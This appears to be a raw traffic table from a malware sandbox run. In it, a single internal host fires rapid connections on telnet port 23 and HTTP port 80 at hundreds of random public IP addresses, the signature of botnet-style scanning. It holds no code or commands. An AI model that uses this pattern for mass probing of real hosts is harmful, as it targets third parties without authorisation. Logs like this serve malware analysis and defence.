Oct 17, 2024 02:19:45.161065102 CEST	20632	23	192.168.2.14	177.252.247.141
Oct 17, 2024 02:19:45.161063910 CEST	20632	23	192.168.2.14	103.164.141.11
Oct 17, 2024 02:19:45.161063910 CEST	20646	80	192.168.2.14	4.145.42.255
Oct 17, 2024 02:19:45.161067009 CEST	20632	23	192.168.2.14	12.222.43.75
Oct 17, 2024 02:19:45.161067009 CEST	20646	80	192.168.2.14	137.237.101.210
Oct 17, 2024 02:19:45.161068916 CEST	20646	80	192.168.2.14	61.55.184.227
Oct 17, 2024 02:19:45.161067963 CEST	20646	80	192.168.2.14	116.17.198.253
Oct 17, 2024 02:19:45.161072016 CEST	20632	23	192.168.2.14	194.45.178.3
Oct 17, 2024 02:19:45.161083937 CEST	20632	23	192.168.2.14	50.167.40.146
Oct 17, 2024 02:19:45.161083937 CEST	20632	23	192.168.2.14	2.42.205.136
Oct 17, 2024 02:19:45.161083937 CEST	20632	23	192.168.2.14	38.50.65.62
Oct 17, 2024 02:19:45.161087990 CEST	20632	23	192.168.2.14	192.121.58.40
Oct 17, 2024 02:19:45.161087990 CEST	20646	80	192.168.2.14	199.228.173.74
Oct 17, 2024 02:19:45.161087990 CEST	20646	80	192.168.2.14	100.159.16.160
Oct 17, 2024 02:19:45.161087990 CEST	20632	23	192.168.2.14	47.121.56.244
Oct 17, 2024 02:19:45.161087990 CEST	20632	23	192.168.2.14	31.216.172.202
Oct 17, 2024 02:19:45.161087990 CEST	20632	23	192.168.2.14	148.222.15.212
Oct 17, 2024 02:19:45.161093950 CEST	20632	23	192.168.2.14	2.221.11.247
Oct 17, 2024 02:19:45.161093950 CEST	20632	23	192.168.2.14	88.65.165.180
Oct 17, 2024 02:19:45.161094904 CEST	20632	23	192.168.2.14	124.210.103.164
Oct 17, 2024 02:19:45.161097050 CEST	20646	80	192.168.2.14	206.45.49.16
Oct 17, 2024 02:19:45.161097050 CEST	20632	23	192.168.2.14	49.207.4.125
Oct 17, 2024 02:19:45.161097050 CEST	20632	23	192.168.2.14	211.172.162.61
Oct 17, 2024 02:19:45.161098003 CEST	20646	80	192.168.2.14	166.18.167.74
Oct 17, 2024 02:19:45.161102057 CEST	20646	80	192.168.2.14	57.251.163.22
Oct 17, 2024 02:19:45.161102057 CEST	20646	80	192.168.2.14	95.56.75.12
Oct 17, 2024 02:19:45.161106110 CEST	20646	80	192.168.2.14	93.31.150.101
Oct 17, 2024 02:19:45.161106110 CEST	20646	80	192.168.2.14	70.39.184.245
Oct 17, 2024 02:19:45.161107063 CEST	20632	23	192.168.2.14	5.185.59.130
Oct 17, 2024 02:19:45.161113024 CEST	20632	23	192.168.2.14	186.254.199.52
Oct 17, 2024 02:19:45.161113977 CEST	20632	23	192.168.2.14	154.187.29.52
Oct 17, 2024 02:19:45.161115885 CEST	20646	80	192.168.2.14	122.32.10.18
Oct 17, 2024 02:19:45.161120892 CEST	20646	80	192.168.2.14	27.115.115.20
Oct 17, 2024 02:19:45.161122084 CEST	20632	23	192.168.2.14	44.164.187.88
Oct 17, 2024 02:19:45.161123991 CEST	20632	23	192.168.2.14	205.229.138.184
Oct 17, 2024 02:19:45.161123991 CEST	20646	80	192.168.2.14	119.83.229.51
Oct 17, 2024 02:19:45.161123991 CEST	20646	80	192.168.2.14	58.191.4.221
Oct 17, 2024 02:19:45.161123991 CEST	20632	23	192.168.2.14	41.97.135.75
Oct 17, 2024 02:19:45.161123991 CEST	20632	23	192.168.2.14	81.178.44.18
Oct 17, 2024 02:19:45.161127090 CEST	20632	23	192.168.2.14	84.230.60.151
Oct 17, 2024 02:19:45.161127090 CEST	20646	80	192.168.2.14	115.196.172.209
Oct 17, 2024 02:19:45.161127090 CEST	20632	23	192.168.2.14	86.105.152.35
Oct 17, 2024 02:19:45.161127090 CEST	20632	23	192.168.2.14	27.1.85.173
Oct 17, 2024 02:19:45.161127090 CEST	20632	23	192.168.2.14	62.172.120.108
Oct 17, 2024 02:19:45.161133051 CEST	20646	80	192.168.2.14	109.176.178.87
Oct 17, 2024 02:19:45.161134005 CEST	20632	23	192.168.2.14	207.59.38.136
Oct 17, 2024 02:19:45.161134958 CEST	20632	23	192.168.2.14	222.7.141.174
Oct 17, 2024 02:19:45.161134958 CEST	20632	23	192.168.2.14	193.131.31.252
Oct 17, 2024 02:19:45.161135912 CEST	20646	80	192.168.2.14	77.82.141.202
Oct 17, 2024 02:19:45.161134958 CEST	20646	80	192.168.2.14	206.174.129.129
Oct 17, 2024 02:19:45.161134958 CEST	20632	23	192.168.2.14	31.85.115.123
Oct 17, 2024 02:19:45.161135912 CEST	20646	80	192.168.2.14	158.151.46.125
Oct 17, 2024 02:19:45.161135912 CEST	20632	23	192.168.2.14	190.92.221.126
Oct 17, 2024 02:19:45.161139965 CEST	20646	80	192.168.2.14	183.136.95.169
Oct 17, 2024 02:19:45.161147118 CEST	20632	23	192.168.2.14	27.10.88.106
Oct 17, 2024 02:19:45.161149979 CEST	20632	23	192.168.2.14	171.184.199.199
Oct 17, 2024 02:19:45.161149979 CEST	20632	23	192.168.2.14	109.14.179.167
Oct 17, 2024 02:19:45.161151886 CEST	20646	80	192.168.2.14	104.78.69.216
Oct 17, 2024 02:19:45.161151886 CEST	20632	23	192.168.2.14	72.57.250.93
Oct 17, 2024 02:19:45.161151886 CEST	20632	23	192.168.2.14	101.39.226.230
Oct 17, 2024 02:19:45.161153078 CEST	20646	80	192.168.2.14	52.103.32.168
Oct 17, 2024 02:19:45.161159039 CEST	20632	23	192.168.2.14	181.254.167.207
Oct 17, 2024 02:19:45.161159992 CEST	20646	80	192.168.2.14	160.171.81.123
Oct 17, 2024 02:19:45.161160946 CEST	20646	80	192.168.2.14	51.40.177.253
Oct 17, 2024 02:19:45.161159992 CEST	20632	23	192.168.2.14	2.89.8.81
Oct 17, 2024 02:19:45.161160946 CEST	20632	23	192.168.2.14	50.71.139.141
Oct 17, 2024 02:19:45.161160946 CEST	20632	23	192.168.2.14	58.167.140.91
Oct 17, 2024 02:19:45.161160946 CEST	20632	23	192.168.2.14	161.8.116.175
Oct 17, 2024 02:19:45.161164999 CEST	20632	23	192.168.2.14	24.106.160.134
Oct 17, 2024 02:19:45.161164999 CEST	20632	23	192.168.2.14	189.209.18.151
Oct 17, 2024 02:19:45.161164999 CEST	20632	23	192.168.2.14	80.172.74.94
Oct 17, 2024 02:19:45.161164999 CEST	20632	23	192.168.2.14	164.98.59.26
Oct 17, 2024 02:19:45.161164999 CEST	20632	23	192.168.2.14	167.202.132.28
Oct 17, 2024 02:19:45.161164999 CEST	20632	23	192.168.2.14	150.35.2.33
Oct 17, 2024 02:19:45.161170006 CEST	20646	80	192.168.2.14	181.72.187.247
Oct 17, 2024 02:19:45.161164999 CEST	20646	80	192.168.2.14	40.129.161.190
Oct 17, 2024 02:19:45.161175013 CEST	20646	80	192.168.2.14	135.126.56.160
Oct 17, 2024 02:19:45.161175013 CEST	20646	80	192.168.2.14	190.11.210.131
Oct 17, 2024 02:19:45.161175013 CEST	20632	23	192.168.2.14	114.19.133.70
Oct 17, 2024 02:19:45.161175013 CEST	20632	23	192.168.2.14	48.132.74.88
Oct 17, 2024 02:19:45.161175966 CEST	20632	23	192.168.2.14	126.194.87.252
Oct 17, 2024 02:19:45.161175013 CEST	20646	80	192.168.2.14	43.213.142.7
Oct 17, 2024 02:19:45.161175966 CEST	20646	80	192.168.2.14	107.69.255.102
Oct 17, 2024 02:19:45.161180973 CEST	20632	23	192.168.2.14	110.6.148.113
Oct 17, 2024 02:19:45.161181927 CEST	20632	23	192.168.2.14	105.152.77.178
Oct 17, 2024 02:19:45.161187887 CEST	20632	23	192.168.2.14	88.203.110.151
Oct 17, 2024 02:19:45.161191940 CEST	20632	23	192.168.2.14	134.100.146.195
Oct 17, 2024 02:19:45.161191940 CEST	20632	23	192.168.2.14	4.150.254.57
Oct 17, 2024 02:19:45.161195040 CEST	20632	23	192.168.2.14	57.181.108.77
Oct 17, 2024 02:19:45.161205053 CEST	20632	23	192.168.2.14	75.23.77.144
Oct 17, 2024 02:19:45.161205053 CEST	20646	80	192.168.2.14	77.52.233.200
Oct 17, 2024 02:19:45.161207914 CEST	20646	80	192.168.2.14	216.204.54.125
Oct 17, 2024 02:19:45.161226034 CEST	20632	23	192.168.2.14	84.48.136.160
Oct 17, 2024 02:19:45.161250114 CEST	20632	23	192.168.2.14	82.36.108.59
Oct 17, 2024 02:19:45.161252975 CEST	20632	23	192.168.2.14	100.62.54.161
Oct 17, 2024 02:19:45.161252975 CEST	20632	23	192.168.2.14	151.155.77.228
Oct 17, 2024 02:19:45.161253929 CEST	20646	80	192.168.2.14	146.162.10.238
Oct 17, 2024 02:19:45.161253929 CEST	20646	80	192.168.2.14	20.214.228.80
Oct 17, 2024 02:19:45.161254883 CEST	20632	23	192.168.2.14	221.117.227.179
Oct 17, 2024 02:19:45.161253929 CEST	20646	80	192.168.2.14	143.190.84.254
Oct 17, 2024 02:19:45.161257982 CEST	20646	80	192.168.2.14	202.75.72.185
Oct 17, 2024 02:19:45.161258936 CEST	20632	23	192.168.2.14	167.180.94.97
Oct 17, 2024 02:19:45.161258936 CEST	20646	80	192.168.2.14	100.205.94.17
Oct 17, 2024 02:19:45.161258936 CEST	20632	23	192.168.2.14	209.146.113.33
Oct 17, 2024 02:19:45.161271095 CEST	20646	80	192.168.2.14	27.29.62.138
Oct 17, 2024 02:19:45.161272049 CEST	20632	23	192.168.2.14	84.62.117.179
Oct 17, 2024 02:19:45.161272049 CEST	20632	23	192.168.2.14	109.224.112.167
Oct 17, 2024 02:19:45.161273003 CEST	20632	23	192.168.2.14	130.123.193.126
Oct 17, 2024 02:19:45.161273956 CEST	20632	23	192.168.2.14	78.130.34.13
Oct 17, 2024 02:19:45.161272049 CEST	20632	23	192.168.2.14	199.196.121.196
Oct 17, 2024 02:19:45.161277056 CEST	20646	80	192.168.2.14	164.128.12.69
Oct 17, 2024 02:19:45.161272049 CEST	20646	80	192.168.2.14	186.139.76.149
Oct 17, 2024 02:19:45.161277056 CEST	20646	80	192.168.2.14	165.20.127.221
Oct 17, 2024 02:19:45.161273956 CEST	20646	80	192.168.2.14	186.182.112.99
Oct 17, 2024 02:19:45.161271095 CEST	20632	23	192.168.2.14	59.115.164.118
Oct 17, 2024 02:19:45.161273956 CEST	20632	23	192.168.2.14	48.35.23.235
Oct 17, 2024 02:19:45.161283016 CEST	20632	23	192.168.2.14	137.227.64.50
Oct 17, 2024 02:19:45.161271095 CEST	20632	23	192.168.2.14	1.202.9.132
Oct 17, 2024 02:19:45.161274910 CEST	20632	23	192.168.2.14	202.197.208.72
Oct 17, 2024 02:19:45.161277056 CEST	20632	23	192.168.2.14	79.233.199.146
Oct 17, 2024 02:19:45.161287069 CEST	20646	80	192.168.2.14	203.132.23.193
Oct 17, 2024 02:19:45.161274910 CEST	20646	80	192.168.2.14	199.165.117.197
Oct 17, 2024 02:19:45.161287069 CEST	20646	80	192.168.2.14	85.147.94.128
Oct 17, 2024 02:19:45.161274910 CEST	20632	23	192.168.2.14	35.1.221.111
Oct 17, 2024 02:19:45.161289930 CEST	20646	80	192.168.2.14	27.45.112.160
Oct 17, 2024 02:19:45.161297083 CEST	20632	23	192.168.2.14	173.110.134.14
Oct 17, 2024 02:19:45.161297083 CEST	20646	80	192.168.2.14	74.182.181.249
Oct 17, 2024 02:19:45.161297083 CEST	20632	23	192.168.2.14	71.88.119.123
Oct 17, 2024 02:19:45.161297083 CEST	20632	23	192.168.2.14	179.150.160.81
Oct 17, 2024 02:19:45.161298037 CEST	20646	80	192.168.2.14	91.52.227.10
Oct 17, 2024 02:19:45.161300898 CEST	20646	80	192.168.2.14	44.61.47.62
Oct 17, 2024 02:19:45.161302090 CEST	20632	23	192.168.2.14	52.101.119.242
Oct 17, 2024 02:19:45.161302090 CEST	20646	80	192.168.2.14	112.245.112.42
Oct 17, 2024 02:19:45.161302090 CEST	20632	23	192.168.2.14	53.202.45.200
Oct 17, 2024 02:19:45.161300898 CEST	20632	23	192.168.2.14	210.204.138.185
Oct 17, 2024 02:19:45.161300898 CEST	20646	80	192.168.2.14	133.17.18.99
Oct 17, 2024 02:19:45.161300898 CEST	20646	80	192.168.2.14	177.159.149.227
Oct 17, 2024 02:19:45.161300898 CEST	20646	80	192.168.2.14	112.233.39.148
Oct 17, 2024 02:19:45.161304951 CEST	20632	23	192.168.2.14	178.30.136.174
Oct 17, 2024 02:19:45.161304951 CEST	20632	23	192.168.2.14	137.147.124.190
Oct 17, 2024 02:19:45.161304951 CEST	20632	23	192.168.2.14	187.196.150.243
Oct 17, 2024 02:19:45.161315918 CEST	20632	23	192.168.2.14	39.127.239.74
Oct 17, 2024 02:19:45.161318064 CEST	20632	23	192.168.2.14	151.250.98.115
Oct 17, 2024 02:19:45.161318064 CEST	20632	23	192.168.2.14	169.43.218.91
Oct 17, 2024 02:19:45.161318064 CEST	20632	23	192.168.2.14	102.190.182.178
Oct 17, 2024 02:19:45.161318064 CEST	20632	23	192.168.2.14	115.245.118.61
Oct 17, 2024 02:19:45.161320925 CEST	20646	80	192.168.2.14	111.169.205.39
Oct 17, 2024 02:19:45.161322117 CEST	20646	80	192.168.2.14	117.40.36.18
Oct 17, 2024 02:19:45.161330938 CEST	20632	23	192.168.2.14	18.178.209.157
Oct 17, 2024 02:19:45.161330938 CEST	20646	80	192.168.2.14	109.69.85.89
Oct 17, 2024 02:19:45.161330938 CEST	20632	23	192.168.2.14	167.219.179.182
Oct 17, 2024 02:19:45.161334038 CEST	20646	80	192.168.2.14	197.255.228.252
Oct 17, 2024 02:19:45.161334991 CEST	20632	23	192.168.2.14	81.214.92.192
Oct 17, 2024 02:19:45.161340952 CEST	20632	23	192.168.2.14	58.106.82.34
Oct 17, 2024 02:19:45.161345959 CEST	20646	80	192.168.2.14	72.145.229.212
Oct 17, 2024 02:19:45.161346912 CEST	20646	80	192.168.2.14	203.157.29.118
Oct 17, 2024 02:19:45.161345959 CEST	20632	23	192.168.2.14	186.191.204.2
Oct 17, 2024 02:19:45.161345959 CEST	20632	23	192.168.2.14	129.80.32.236
Oct 17, 2024 02:19:45.161345959 CEST	20632	23	192.168.2.14	77.47.121.128
Oct 17, 2024 02:19:45.161353111 CEST	20632	23	192.168.2.14	159.113.121.60
Oct 17, 2024 02:19:45.161354065 CEST	20646	80	192.168.2.14	151.187.100.77
Oct 17, 2024 02:19:45.161354065 CEST	20646	80	192.168.2.14	116.169.70.100
Oct 17, 2024 02:19:45.161355019 CEST	20632	23	192.168.2.14	147.198.207.191
Oct 17, 2024 02:19:45.161355972 CEST	20632	23	192.168.2.14	199.61.61.133
Oct 17, 2024 02:19:45.161355972 CEST	20646	80	192.168.2.14	72.196.205.24
Oct 17, 2024 02:19:45.161371946 CEST	20632	23	192.168.2.14	135.153.128.247
Oct 17, 2024 02:19:45.161371946 CEST	20632	23	192.168.2.14	86.143.125.138
Oct 17, 2024 02:19:45.161376953 CEST	20632	23	192.168.2.14	105.114.197.26
Oct 17, 2024 02:19:45.161381960 CEST	20632	23	192.168.2.14	193.21.57.158
Oct 17, 2024 02:19:45.161385059 CEST	20632	23	192.168.2.14	72.0.111.252
Oct 17, 2024 02:19:45.161385059 CEST	20646	80	192.168.2.14	110.167.14.140
Oct 17, 2024 02:19:45.161386013 CEST	20632	23	192.168.2.14	91.6.154.166
Oct 17, 2024 02:19:45.161387920 CEST	20632	23	192.168.2.14	192.252.10.40
Oct 17, 2024 02:19:45.161389112 CEST	20632	23	192.168.2.14	187.100.166.241
Oct 17, 2024 02:19:45.161387920 CEST	20632	23	192.168.2.14	97.132.144.104
Oct 17, 2024 02:19:45.161389112 CEST	20632	23	192.168.2.14	147.120.204.21
Oct 17, 2024 02:19:45.161386013 CEST	20632	23	192.168.2.14	203.235.18.110
Oct 17, 2024 02:19:45.161396027 CEST	20632	23	192.168.2.14	111.72.205.201
Oct 17, 2024 02:19:45.161396027 CEST	20646	80	192.168.2.14	210.241.99.249
Oct 17, 2024 02:19:45.161396027 CEST	20632	23	192.168.2.14	46.196.41.95
Oct 17, 2024 02:19:45.161401033 CEST	20632	23	192.168.2.14	41.131.76.42
Oct 17, 2024 02:19:45.161401987 CEST	20632	23	192.168.2.14	134.14.172.43
Oct 17, 2024 02:19:45.161401033 CEST	20646	80	192.168.2.14	181.165.53.60
Oct 17, 2024 02:19:45.161405087 CEST	20632	23	192.168.2.14	195.67.22.51
Oct 17, 2024 02:19:45.161405087 CEST	20632	23	192.168.2.14	88.187.112.169
Oct 17, 2024 02:19:45.161406040 CEST	20646	80	192.168.2.14	13.112.147.162
Oct 17, 2024 02:19:45.161406040 CEST	20632	23	192.168.2.14	53.204.125.51
Oct 17, 2024 02:19:45.161405087 CEST	20632	23	192.168.2.14	58.53.169.217
Oct 17, 2024 02:19:45.161406040 CEST	20632	23	192.168.2.14	73.157.185.233
Oct 17, 2024 02:19:45.161408901 CEST	20646	80	192.168.2.14	2.199.60.237
Oct 17, 2024 02:19:45.161406040 CEST	20632	23	192.168.2.14	141.253.174.183
Oct 17, 2024 02:19:45.161408901 CEST	20632	23	192.168.2.14	24.16.175.227
Oct 17, 2024 02:19:45.161408901 CEST	20646	80	192.168.2.14	187.61.95.186
Oct 17, 2024 02:19:45.161408901 CEST	20646	80	192.168.2.14	84.18.27.24
Oct 17, 2024 02:19:45.161408901 CEST	20632	23	192.168.2.14	70.52.157.195
Oct 17, 2024 02:19:45.161415100 CEST	20632	23	192.168.2.14	132.4.170.245
Oct 17, 2024 02:19:45.161418915 CEST	20646	80	192.168.2.14	164.216.39.86
Oct 17, 2024 02:19:45.161418915 CEST	20632	23	192.168.2.14	123.31.7.206
Oct 17, 2024 02:19:45.161420107 CEST	20632	23	192.168.2.14	141.109.40.248
Oct 17, 2024 02:19:45.161420107 CEST	20632	23	192.168.2.14	154.165.104.13
Oct 17, 2024 02:19:45.161420107 CEST	20632	23	192.168.2.14	129.130.75.109
Oct 17, 2024 02:19:45.161425114 CEST	20632	23	192.168.2.14	175.9.121.129
Oct 17, 2024 02:19:45.161427975 CEST	20646	80	192.168.2.14	110.103.109.30
Oct 17, 2024 02:19:45.161427975 CEST	20646	80	192.168.2.14	75.141.248.164
Oct 17, 2024 02:19:45.161428928 CEST	20632	23	192.168.2.14	155.91.222.204
Oct 17, 2024 02:19:45.161429882 CEST	20632	23	192.168.2.14	209.154.229.234
Oct 17, 2024 02:19:45.161429882 CEST	20632	23	192.168.2.14	163.174.253.72
Oct 17, 2024 02:19:45.161439896 CEST	20632	23	192.168.2.14	4.184.20.172
Oct 17, 2024 02:19:45.161448956 CEST	20632	23	192.168.2.14	166.19.212.182
Oct 17, 2024 02:19:45.161451101 CEST	20632	23	192.168.2.14	119.108.96.81
Oct 17, 2024 02:19:45.161452055 CEST	20646	80	192.168.2.14	49.16.9.209
Oct 17, 2024 02:19:45.161452055 CEST	20646	80	192.168.2.14	123.28.165.233
Oct 17, 2024 02:19:45.161454916 CEST	20632	23	192.168.2.14	71.1.8.18
Oct 17, 2024 02:19:45.161454916 CEST	20632	23	192.168.2.14	211.96.145.223
Oct 17, 2024 02:19:45.161454916 CEST	20646	80	192.168.2.14	217.24.116.181
Oct 17, 2024 02:19:45.161454916 CEST	20632	23	192.168.2.14	99.81.196.2
Oct 17, 2024 02:19:45.161461115 CEST	20632	23	192.168.2.14	152.89.88.181
Oct 17, 2024 02:19:45.161464930 CEST	20632	23	192.168.2.14	116.251.88.119
Oct 17, 2024 02:19:45.161467075 CEST	20646	80	192.168.2.14	169.192.71.210
Oct 17, 2024 02:19:45.161467075 CEST	20632	23	192.168.2.14	102.41.132.77
Oct 17, 2024 02:19:45.161475897 CEST	20632	23	192.168.2.14	121.221.45.212
Oct 17, 2024 02:19:45.161479950 CEST	20632	23	192.168.2.14	25.139.97.191
Oct 17, 2024 02:19:45.161482096 CEST	20646	80	192.168.2.14	216.248.29.116
Oct 17, 2024 02:19:45.161482096 CEST	20646	80	192.168.2.14	130.97.225.90
Oct 17, 2024 02:19:45.161483049 CEST	20632	23	192.168.2.14	210.3.62.114
Oct 17, 2024 02:19:45.161484003 CEST	20646	80	192.168.2.14	152.148.172.70
Oct 17, 2024 02:19:45.161483049 CEST	20632	23	192.168.2.14	69.111.115.6
Oct 17, 2024 02:19:45.161484003 CEST	20632	23	192.168.2.14	23.121.71.250
Oct 17, 2024 02:19:45.161484003 CEST	20632	23	192.168.2.14	14.43.190.109
Oct 17, 2024 02:19:45.161494970 CEST	20646	80	192.168.2.14	177.30.32.62
Oct 17, 2024 02:19:45.161495924 CEST	20632	23	192.168.2.14	170.53.2.82
Oct 17, 2024 02:19:45.161495924 CEST	20632	23	192.168.2.14	85.116.110.14
Oct 17, 2024 02:19:45.161500931 CEST	20632	23	192.168.2.14	80.101.118.189
Oct 17, 2024 02:19:45.161508083 CEST	20646	80	192.168.2.14	61.234.47.201
Oct 17, 2024 02:19:45.161509991 CEST	20632	23	192.168.2.14	160.53.206.191
Oct 17, 2024 02:19:45.161506891 CEST	20632	23	192.168.2.14	207.118.61.244
Oct 17, 2024 02:19:45.161518097 CEST	20646	80	192.168.2.14	52.23.158.111
Oct 17, 2024 02:19:45.161518097 CEST	20632	23	192.168.2.14	156.230.172.255
Oct 17, 2024 02:19:45.161518097 CEST	20646	80	192.168.2.14	111.15.39.161
Oct 17, 2024 02:19:45.161518097 CEST	20632	23	192.168.2.14	141.184.244.4
Oct 17, 2024 02:19:45.161524057 CEST	20632	23	192.168.2.14	168.170.70.55
Oct 17, 2024 02:19:45.161528111 CEST	20646	80	192.168.2.14	118.163.136.139
Oct 17, 2024 02:19:45.161528111 CEST	20632	23	192.168.2.14	162.98.21.36
Oct 17, 2024 02:19:45.161528111 CEST	20632	23	192.168.2.14	178.108.239.221
Oct 17, 2024 02:19:45.161531925 CEST	20646	80	192.168.2.14	217.189.14.223
Oct 17, 2024 02:19:45.161535025 CEST	20646	80	192.168.2.14	84.143.11.42
Oct 17, 2024 02:19:45.161535978 CEST	20632	23	192.168.2.14	180.169.64.131
Oct 17, 2024 02:19:45.161536932 CEST	20632	23	192.168.2.14	128.2.92.209
Oct 17, 2024 02:19:45.161540985 CEST	20646	80	192.168.2.14	171.109.3.195
Oct 17, 2024 02:19:45.161544085 CEST	20646	80	192.168.2.14	187.185.23.190
Oct 17, 2024 02:19:45.161547899 CEST	20632	23	192.168.2.14	48.240.205.95
Oct 17, 2024 02:19:45.161549091 CEST	20632	23	192.168.2.14	135.153.125.179
Oct 17, 2024 02:19:45.161547899 CEST	20646	80	192.168.2.14	76.158.72.60
Oct 17, 2024 02:19:45.161550999 CEST	20632	23	192.168.2.14	163.34.15.29
Oct 17, 2024 02:19:45.161544085 CEST	20632	23	192.168.2.14	19.30.126.176
Oct 17, 2024 02:19:45.161562920 CEST	20646	80	192.168.2.14	212.17.46.41
Oct 17, 2024 02:19:45.161569118 CEST	20632	23	192.168.2.14	190.180.36.252
Oct 17, 2024 02:19:45.161572933 CEST	20632	23	192.168.2.14	46.197.138.253
Oct 17, 2024 02:19:45.161576033 CEST	20632	23	192.168.2.14	48.239.67.235
Oct 17, 2024 02:19:45.161583900 CEST	20632	23	192.168.2.14	162.211.238.208
Oct 17, 2024 02:19:45.161586046 CEST	20632	23	192.168.2.14	196.62.196.151
Oct 17, 2024 02:19:45.161591053 CEST	20632	23	192.168.2.14	186.88.70.45
Oct 17, 2024 02:19:45.161591053 CEST	20632	23	192.168.2.14	94.41.22.211
Oct 17, 2024 02:19:45.161591053 CEST	20632	23	192.168.2.14	8.239.169.219
Oct 17, 2024 02:19:45.161591053 CEST	20632	23	192.168.2.14	175.43.241.196
Oct 17, 2024 02:19:45.161591053 CEST	20646	80	192.168.2.14	96.155.139.56
Oct 17, 2024 02:19:45.161592007 CEST	20632	23	192.168.2.14	112.180.168.192
Oct 17, 2024 02:19:45.161601067 CEST	20632	23	192.168.2.14	131.27.88.123
Oct 17, 2024 02:19:45.161602020 CEST	20632	23	192.168.2.14	138.0.24.250
Oct 17, 2024 02:19:45.161601067 CEST	20632	23	192.168.2.14	104.236.40.213
Oct 17, 2024 02:19:45.161608934 CEST	20632	23	192.168.2.14	84.4.247.12
Oct 17, 2024 02:19:45.161612988 CEST	20632	23	192.168.2.14	165.22.233.39
Oct 17, 2024 02:19:45.161613941 CEST	20632	23	192.168.2.14	71.142.133.241
Oct 17, 2024 02:19:45.161613941 CEST	20632	23	192.168.2.14	161.8.138.31
Oct 17, 2024 02:19:45.161618948 CEST	20646	80	192.168.2.14	153.58.104.246
Oct 17, 2024 02:19:45.161631107 CEST	20632	23	192.168.2.14	69.109.88.26
Oct 17, 2024 02:19:45.161636114 CEST	20632	23	192.168.2.14	161.173.156.152
Oct 17, 2024 02:19:45.161636114 CEST	20632	23	192.168.2.14	154.32.120.5
Oct 17, 2024 02:19:45.161638021 CEST	20632	23	192.168.2.14	104.217.225.238
Oct 17, 2024 02:19:45.161638021 CEST	20632	23	192.168.2.14	166.80.120.68
Oct 17, 2024 02:19:45.161642075 CEST	20632	23	192.168.2.14	43.6.222.158
Oct 17, 2024 02:19:45.161640882 CEST	20632	23	192.168.2.14	8.251.59.253
Oct 17, 2024 02:19:45.161644936 CEST	20632	23	192.168.2.14	62.212.190.200
Oct 17, 2024 02:19:45.161648035 CEST	20632	23	192.168.2.14	191.255.138.110
Oct 17, 2024 02:19:45.161648035 CEST	20646	80	192.168.2.14	105.8.165.156
Oct 17, 2024 02:19:45.161662102 CEST	20646	80	192.168.2.14	138.109.233.13
Oct 17, 2024 02:19:45.161668062 CEST	20646	80	192.168.2.14	63.108.184.207
Oct 17, 2024 02:19:45.161669970 CEST	20632	23	192.168.2.14	190.104.209.44
Oct 17, 2024 02:19:45.161672115 CEST	20632	23	192.168.2.14	119.227.210.167
Oct 17, 2024 02:19:45.161672115 CEST	20632	23	192.168.2.14	83.76.6.173
Oct 17, 2024 02:19:45.161674976 CEST	20632	23	192.168.2.14	73.236.73.58
Oct 17, 2024 02:19:45.161674976 CEST	20632	23	192.168.2.14	109.149.73.222
Oct 17, 2024 02:19:45.161678076 CEST	20632	23	192.168.2.14	96.96.250.129
Oct 17, 2024 02:19:45.161678076 CEST	20646	80	192.168.2.14	116.78.174.3
Oct 17, 2024 02:19:45.161681890 CEST	20632	23	192.168.2.14	43.122.247.78
Oct 17, 2024 02:19:45.161685944 CEST	20646	80	192.168.2.14	182.169.134.254
Oct 17, 2024 02:19:45.161688089 CEST	20632	23	192.168.2.14	41.16.252.207
Oct 17, 2024 02:19:45.161689043 CEST	20632	23	192.168.2.14	18.156.141.208
Oct 17, 2024 02:19:45.161689043 CEST	20646	80	192.168.2.14	105.104.151.88
Oct 17, 2024 02:19:45.161691904 CEST	20632	23	192.168.2.14	79.144.72.87
Oct 17, 2024 02:19:45.161691904 CEST	20646	80	192.168.2.14	148.90.151.34
Oct 17, 2024 02:19:45.161691904 CEST	20646	80	192.168.2.14	156.244.19.187
Oct 17, 2024 02:19:45.161715984 CEST	20632	23	192.168.2.14	134.196.183.40
Oct 17, 2024 02:19:45.161715984 CEST	20632	23	192.168.2.14	115.80.207.67
Oct 17, 2024 02:19:45.161724091 CEST	20632	23	192.168.2.14	192.90.139.69
Oct 17, 2024 02:19:45.161724091 CEST	20646	80	192.168.2.14	99.36.21.58
Oct 17, 2024 02:19:45.161724091 CEST	20646	80	192.168.2.14	208.92.70.196
Oct 17, 2024 02:19:45.161724091 CEST	20646	80	192.168.2.14	207.232.114.85
Oct 17, 2024 02:19:45.161725998 CEST	20646	80	192.168.2.14	200.61.240.131
Oct 17, 2024 02:19:45.161724091 CEST	20646	80	192.168.2.14	76.138.188.171
Oct 17, 2024 02:19:45.161725998 CEST	20632	23	192.168.2.14	152.97.150.254
Oct 17, 2024 02:19:45.161724091 CEST	20632	23	192.168.2.14	211.48.55.76
Oct 17, 2024 02:19:45.161725998 CEST	20632	23	192.168.2.14	160.196.29.56
Oct 17, 2024 02:19:45.161725998 CEST	20632	23	192.168.2.14	32.61.106.230
Oct 17, 2024 02:19:45.161735058 CEST	20632	23	192.168.2.14	67.240.210.140
Oct 17, 2024 02:19:45.161735058 CEST	20646	80	192.168.2.14	150.223.45.247
Oct 17, 2024 02:19:45.161735058 CEST	20632	23	192.168.2.14	66.119.131.89
Oct 17, 2024 02:19:45.161735058 CEST	20632	23	192.168.2.14	128.221.2.126
Oct 17, 2024 02:19:45.161735058 CEST	20632	23	192.168.2.14	96.105.243.204
Oct 17, 2024 02:19:45.161735058 CEST	20646	80	192.168.2.14	152.244.42.123
Oct 17, 2024 02:19:45.161736965 CEST	20646	80	192.168.2.14	184.234.123.163
Oct 17, 2024 02:19:45.161735058 CEST	20646	80	192.168.2.14	166.125.86.224
Oct 17, 2024 02:19:45.161736965 CEST	20646	80	192.168.2.14	48.248.203.12
Oct 17, 2024 02:19:45.161747932 CEST	20632	23	192.168.2.14	138.137.115.55
Oct 17, 2024 02:19:45.161753893 CEST	20632	23	192.168.2.14	223.108.101.239
Oct 17, 2024 02:19:45.161753893 CEST	20632	23	192.168.2.14	178.181.2.218
Oct 17, 2024 02:19:45.161756992 CEST	20646	80	192.168.2.14	213.169.200.174
Oct 17, 2024 02:19:45.161756992 CEST	20632	23	192.168.2.14	67.41.209.40
Oct 17, 2024 02:19:45.161760092 CEST	20632	23	192.168.2.14	92.15.13.207
Oct 17, 2024 02:19:45.161760092 CEST	20632	23	192.168.2.14	192.144.158.134
Oct 17, 2024 02:19:45.161760092 CEST	20646	80	192.168.2.14	123.193.40.128
Oct 17, 2024 02:19:45.161761999 CEST	20646	80	192.168.2.14	19.141.69.15
Oct 17, 2024 02:19:45.161761999 CEST	20632	23	192.168.2.14	167.106.145.110
